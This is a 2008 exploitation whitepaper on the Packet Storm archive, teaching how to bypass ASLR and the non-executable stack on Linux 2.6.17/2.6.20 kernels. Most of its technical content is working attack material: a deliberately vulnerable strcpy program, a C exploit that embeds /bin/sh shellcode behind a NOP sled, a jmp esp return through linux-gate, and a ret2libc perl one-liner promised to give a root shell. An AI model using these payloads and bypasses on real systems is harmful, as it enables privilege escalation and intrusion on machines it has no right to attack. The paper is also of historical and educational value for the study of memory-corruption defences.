the last unbiased stronghold

aslr-bypass.txt

aslr-bypass.txt
Posted Sep 5, 2008
Authored by sorrow | Site fhm.noblogs.org

Whitepaper discussing an ASLR bypassing methodology on the Linux 2.6.17/20 kernel.

tags | paper, kernel, bypass
systems | linux
MD5 | 69eac3945ce943b762c014d7d22bb2ba

aslr-bypass.txt

Change Mirror Download
{===============================================================}
{ }
{ ASLR bypassing method on 2.6.17/20 Linux Kernel }
{ No-executable stack space bypassing method on Linux }
{ }
{===============================================================}

A paper by the FHM crew:

http://fhm.noblogs.org


Contact us at:

--------------------------------------------------

sorrow: rawhazard@autistici.org; betat@hotmail.it

--------------------------------------------------
fhm: fhm@autistici.org;

--------------------------------------------------

Rrequirements:
1. Shellcoding
2. C programming
3. Howto bash and gdb works
4. A brain

==[1. ASLR]==



ASLR is a countermeasure based on the randomization of the stack memory.
Say that we have a variable located on the stack. If the kernel
is compiled with the aslr option active,we can't determine what
would be his address, beacause it is randomized. Look at this source:



#include <stdio.h>

#include <stdlib.h>



int main (int argc, char *argv[]) {



char *addr;



addr=getenv(argv[1]);

printf("%s is at: %p\n", argv[1], addr);

return 0;

}



The getenv() function returns the address of the enviroment
variable passed as argument.You can try with PWD or exporting
a new enviroment address,and you will notice that the returned
address is never the same. It's beacause of aslr.

But aslr protection can be bypassed. How? Don't stop reading.



If you are using the 2.6.17 version of the linux kernel,
you can exploit the linux-gate shared object to bypass the protection.
Let's see how.Launching the ldd command we can see the dependencies
of a program,and we discover that every program has a shared object
always at the same address.
The object is the mentioned linux-gate:



fhm@local$ ldd /bin/ls

linux-gate.so.1 => (0xffffe000)

linux.so.1 => /lib/librt.so.1 (0xb7f95000)

linx.so.6 => /lib/libc.so.6 (0xb7e75000)

libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)

/lib/ld-linux.so.2 (0xb7fb1000)

fhm@local$ ldd /bin/ls

linux-gate.so.1 => (0xffffe000)

linux.so.1 => /lib/librt.so.1 (0xb7fa5000)

linx.so.6 => /lib/libc.so.6 (0xb7e73000)

libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)

/lib/ld-linux.so.2 (0xb7f6a000)

fhm@local$



What does this mean? It's easy. It means that every program share
the same istructions located in linux-gate.
Now we'll look for a particular istrunction:

jmp esp. This istrunction make EIP jump to the positione of ESP.
It's particularly useful because we could place our shellcode in the stack,
and to execute it we can "redirect" the eip to that area of memory.

The hex of jmp esp is ff e4. We can now easily write a program to
find this pattern, and we'll realize that it's located at 0xffffe777.

Now we can overwrite the return address of a vulnerable function
with the address 0xffffe777and place the shellode on the stack,
doing this, the program will jump to the place of memory
pointed by esp and will exe it. Then it will exe our shellcode. =)

But there is a problem. All this work just under 2.6.17 Linux Kernel.
If we check for linux-gate address in a update system (2.6.20)
we'll see that it's randomized:

fhm@local$ ldd /bin/ls
linux-gate.so.1 => (0xb7f78000)
librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb7f5e000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb7f45000)
libacl.so.1 => /lib/libacl.so.1 (0xb7f3d000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dee000)
libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb7dd6000)
/lib/ld-linux.so.2 (0xb7f79000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7dd2000)
libattr.so.1 => /lib/libattr.so.1 (0xb7dce000)
fhm@local$ ldd /bin/ls
linux-gate.so.1 => (0xb7fd7000)
librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb7fbd000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb7fa4000)
libacl.so.1 => /lib/libacl.so.1 (0xb7f9c000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e4d000)
libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb7e35000)
/lib/ld-linux.so.2 (0xb7fd8000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7e31000)
libattr.so.1 => /lib/libattr.so.1 (0xb7e2d000)
fhm@local$

So, what now? I think there could be lots of way to solve out
this problem. One of this could be the following.
The execl() function family includes these functions:

int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);

These functions replaces the image of the exisisting process with the one
of a new process.
Now we'll use the execl() function in a program and let's see what happen.
Here the source:

#include <stdio.h>
#include <unistd.h>
int main (int argc, char *argv[]) {
int var;

printf("Var is at %p\n", &var);
execl("./try", "try", NULL);
}

The execl() functions call another program called "try", here the source:

#include <stdio.h>
int main (int argc, char *argv[]) {
char buffer[50];

printf("buffer is at %p\n", &buffer);
if(argc > 1)
strcpy(buffer, argv[1]);
return 1;
}

How you can see, try have a bof vulnerability in the code.
But with the aslr protection it cant be exploited normally. Anyway,
compile and launch sometimes the first script. You should have
a output easy to understand. The execl() function reduces
randomization and we can focus on a address range.
The remaining uncertainty can be easily covered by a large nop sled.
To know exactly how large must be the NOP sled we can use gdb...remember
he is your best friend :).
An exploit like this could work:

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // Standard shellcode
int main(int argc, char *argv[]) {
unsigned int i, ret, offset;
char buffer[1000];
printf("i is at %p\n", &i);
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset + 200; // Set return address.
printf("ret addr is %p\n", ret);
for(i=0; i < 90; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer+84, 0x90, 900); // Build NOP sled.
memcpy(buffer+900, shellcode, sizeof(shellcode));
execl("./aslr_demo", "aslr_demo", buffer, NULL);
}

Sometimes could happen that randomization make exploit fails. Try some more times
and try some new offset keeping near the specified one.
Of course, you can use try with a bruteforce...damn it's not a smart solution! :P

==[2. No-executable stack]==

Lots of application dont need to execute something in the stack.
Then how make the stack executable?.
This countermeasure is really powerful beacuse shellcode cant be pushed in the stack,
it would be useless. Obviously there are some hacks to bypass this protection.
One of this is called "ret2libc",
return to libc; libc is a standard C library that contains lots of basic functions
like printf() and exit(). System() too.
This function requires just one argument, the name of the program to execute.
Now idea is the following:
force the target application to return to system() in the libc library
without have to execute something in the stack space. First we have to find
the position of that function in the library, it will be different for each system,
but once found will remain the same until recompile libc. One of the easiest ways
to find out this address is to write a small script that use this function:

int main()
{ system(); }

Then compile this "source" and make it run under gdb.
Break at main. Then "print system".
You should obtain something like this:

//Run and break at main()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecfd80 <system>
(gdb) q

In this case the address is 0xb7ecfd80. Now we can redirect the execution flow
of a process to the system() function. But to obtain a shell we have to
pass an argument to the function, /bin/sh maybe?
In the stack the call to ret2libc will be formed by the function address,
the return address and the arguments. The return address is not important
beacuse system()will open a shell then it wont return to any address while in use.
Then we can use anything as return addres, the string "ADDR" too.
We can store the string "/bin/sh" everywhere in memory, for example in a
enviroment variable. In the end we have to find out the offset to overwrite the return
address of the victim program, like this(sample code):

#include <string.h>
int main (int argc, char *argv[]) {
char buffer[5];

strcpy(buffer, argv[1]);
return 0;
}

To find the address of the enviroment variable, we can use a script like this:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[]){
char *ptr;
char tprg_name [20] = "";
char var[50];

if (argc < 2){
printf("Usage: %s <enviroment var> [target program name]\n",argv[0]);
}

if (argc > 2){
strcpy(tprg_name,argv[2]);
}

ptr = getenv(argv[1]); /* Get env var location */
ptr += (strlen(argv[0]) - strlen(tprg_name))*2; /* Adjust for program name */
printf("%s will be at %p\n",argv[1], ptr);
}

Once found the address of the enviroment variable (suppose it's 0xbffffe5b)
and the offset (gdb?) we can launch the target program, in this way:

fhm@local$ ./target $(perl -e 'print "ABCD"x<offset> . "\x80\xfd\xec\xb7ADDR\x5b\xfe\xff\xbf"')

And you will obtain a root shell.
(If it doesnt work try exporting in the enviroment variable a string like
" /bin/sh" (with space) it could work like a NOP sled).

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close